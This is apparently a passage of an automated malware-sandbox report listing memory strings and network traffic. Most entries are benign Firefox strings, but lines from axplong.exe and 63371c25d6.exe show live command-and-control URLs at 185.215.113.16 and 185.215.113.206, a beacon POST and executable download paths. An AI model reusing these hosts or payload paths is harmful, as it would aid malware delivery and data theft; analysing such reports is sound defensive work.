Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2805571289.000002593B7FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2805571289.000002593B7FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000015.00000003.2805571289.000002593B7FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z equals www.youtube.com (Youtube)
Source: firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: unified-extensions-context-menu-move-widget-downBackground service worker unregistered for "bgInstance exists before priming unified-extensions-context-menu-move-widget-upSearch with Google or enter addressbackground-script-suspend-ignored#unified-extensions-area > :last-childshowInstallConfirmation/unsigned<showInstallConfirmation/options.eventCallbackImport bookmarks& Cannot start multiple background instancesremoveAllNotifications/notifications<_shouldShowQuarantinedNotification/<extension-enable-process-spawningContext not found at startup completion..unified-extensions-item-action-buttonbound onExtensionEnableProcessSpawningextension-enable-process-spawningContext has unloaded before startup completion.extensions.background.idle.enabledbackground-script-suspend-canceledprimeBackground/bgStartupPromise<extension:background-script-statusresource://gre/modules/ExtensionParent.sys.mjsprimeBackground/extension.terminateBackgroundextensions.background.idle.timeout@mozilla.org/serviceworkers/manager;1primeBackground/extension.wakeupBackground.unified-extensions-item-menu-buttonshowInstallConfirmation/secondaryAction<disableRestartPersistentAfterCrashrestartPersistentBackgroundAfterCrash"https://smartblock.firefox.etp/play.svg"removeBootstrappedManifestLocation"://login.microsoftonline.com/"resource://gre/modules/SecurityInfo.sys.mjsTYPE_INTERNAL_WORKER_IMPORT_SCRIPTSwebRequest onAuthCancelled failure resource://gre/modules/ExtensionParent.sys.mjs@mozilla.org/network/http-activity-distributor;1ACTIVITY_SUBTYPE_TRANSACTION_CLOSE"://www.everestjs.net/static/st.v3.js"resource://gre/modules/WebRequest.sys.mjsresource://gre/modules/ExtensionDNR.sys.mjswebRequest onAuthAvailable failure TYPE_INTERNAL_WORKER_STATIC_MODULE@mozilla.org/webrequest/channel-event-sink;1asyncPromptAuth/wrapper.authPromptForward"://cdn.branch.io/branch-latest.min.js"webRequest asyncPromptAuth failure on service worker imported script "://pub.doubleverify.com/signals/pub.js"asyncPromptAuth/wrapper.authPromptCallback"://c.amazon-adsystem.com/aax2/apstag.js"resource://gre/modules/ExtensionUtils.sys.mjsDisallowed change restricted response header Unable to set host header to restricted url."://auth.9c9media.ca/auth/main.js"ACTIVITY_SUBTYPE_RESPONSE_COMPLETEresource://gre/modules/WebRequestUpload.sys.mjs"://static.chartbeat.com/js/chartbeat.js"115062f8-92f1-11e5-8b7f-080027b0f7ec"https://smartblock.firefox.etp/facebook.svg""https://en.wikipedia.org/wiki/Special:Search""://static.chartbeat.com/js/chartbeat_video.js""://static.criteo.net/js/ld/publishertag.js""://.imgur.io/js/vendor..bundle.js""://www.rva311.com/static/js/main..chunk.js""://connect.facebook.net//all.js""://www.googletagmanager.com/gtm.js""://ssl.google-analytics.com/ga.js""://s0.2mdn.net/instream/html5/ima3.js""://cdn.adsafeprotected.com/iasPET.1.js""://static.adsafeprotected.com/iasPET.1.js""://adservex.media.net/videoAds.js""://libs.coremetrics.com/eluminate.js""://connect.facebook.net
Source: firefox.exe, 00000015.00000003.2815648543.00000259406CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A2F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2918105959.000002593A54F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000003.2815648543.00000259406CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2944981005.00000259406CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2918105959.000002593A51A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A2F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915888122.000002593A2CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null} equals www.facebook.com (Facebook)
Source: firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null} equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: firefox.exe, 00000015.00000002.2879062103.000002592835D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2898849681.000002593826C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919125459.000002593A65E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3049658732.000001EF1DF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3083282313.000001EF2E549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/3405117-2476756634-10039
Source: axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/G
Source: axplong.exe, 00000006.00000002.3288889656.0000000001530000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000006.00000003.3263828308.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.00000000014F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php-
Source: axplong.exe, 00000006.00000002.3288889656.0000000001530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php.M
Source: axplong.exe, 00000006.00000003.3263828308.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.00000000014F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php1001
Source: axplong.exe, 00000006.00000002.3288889656.00000000014F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php2001
Source: axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php9
Source: axplong.exe, 00000006.00000002.3288889656.0000000001530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpDMr
Source: axplong.exe, 00000006.00000003.3263828308.0000000001530000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpMM
Source: axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpQ
Source: axplong.exe, 00000006.00000003.3263828308.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.00000000014F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpR
Source: axplong.exe, 00000006.00000003.3263828308.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.00000000014F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpS
Source: axplong.exe, 00000006.00000002.3288889656.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpa
Source: axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpb1a30a186ec2d30be6db0b5
Source: axplong.exe, 00000006.00000003.3263828308.0000000001530000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpded
Source: axplong.exe, 00000006.00000002.3288889656.0000000001530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpdediMi
Source: axplong.exe, 00000006.00000003.3263828308.0000000001530000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000006.00000003.3263828308.0000000001530000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedJM
Source: axplong.exe, 00000006.00000002.3288889656.00000000014F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpnu
Source: axplong.exe, 00000006.00000003.3263828308.0000000001530000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001530000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpvM
Source: axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/f49fa1f45a5fea9f5c7cf18216e50adc2dd0baafe42fb3effbbd4e64e3aa636b77#1
Source: axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lfons
Source: axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ows
Source: axplong.exe, 00000006.00000002.3288889656.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: axplong.exe, 00000006.00000003.3263828308.00000000014EC000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe5c7cf182
Source: axplong.exe, 00000006.00000003.3263828308.00000000014EC000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exec7odedY
Source: axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001506000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 63371c25d6.exe, 00000007.00000002.2739218915.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000018.00000002.2831755373.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000018.00000002.2831755373.000000000119B000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 0000001D.00000002.3013597839.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 63371c25d6.exe, 00000007.00000002.2739218915.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000007.00000002.2739218915.0000000001207000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000018.00000002.2831755373.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000018.00000002.2831755373.000000000119B000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 0000001D.00000002.3013597839.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 0000001D.00000002.3013597839.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 63371c25d6.exe, 00000007.00000002.2739218915.0000000001207000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/E
Source: 63371c25d6.exe, 00000007.00000002.2739218915.0000000001207000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/L
Source: 63371c25d6.exe, 00000007.00000002.2739218915.0000000001207000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/S
Source: 63371c25d6.exe, 00000007.00000002.2739218915.0000000001207000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000007.00000002.2739218915.0000000001222000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000007.00000002.2739218915.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000018.00000002.2831755373.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000018.00000002.2831755373.000000000119B000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 0000001D.00000002.3013597839.0000000000F3D000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 0000001D.00000002.3013597839.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 0000001D.00000002.3013597839.0000000000F45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 63371c25d6.exe, 00000007.00000002.2739218915.0000000001207000.00000004.00000020.00020000.00000000.sdmp, 63371c25d6.exe, 00000018.00000002.2831755373.00000000011ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: 63371c25d6.exe, 00000007.00000002.2739218915.0000000001207000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN
Source: firefox.exe, 00000015.00000002.2944981005.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2815909694.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000015.00000002.2944981005.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2815909694.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000015.00000002.2944981005.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2815909694.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000015.00000002.2944981005.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2815909694.0000025940698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
